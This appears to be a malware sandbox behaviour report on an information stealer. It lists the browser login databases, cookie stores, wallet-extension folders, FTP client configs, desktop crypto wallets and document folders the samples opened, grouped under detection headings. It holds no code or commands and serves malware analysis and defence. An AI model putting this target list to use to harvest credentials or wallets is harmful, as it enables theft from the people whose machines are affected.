Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: C:\Users\user\Documents
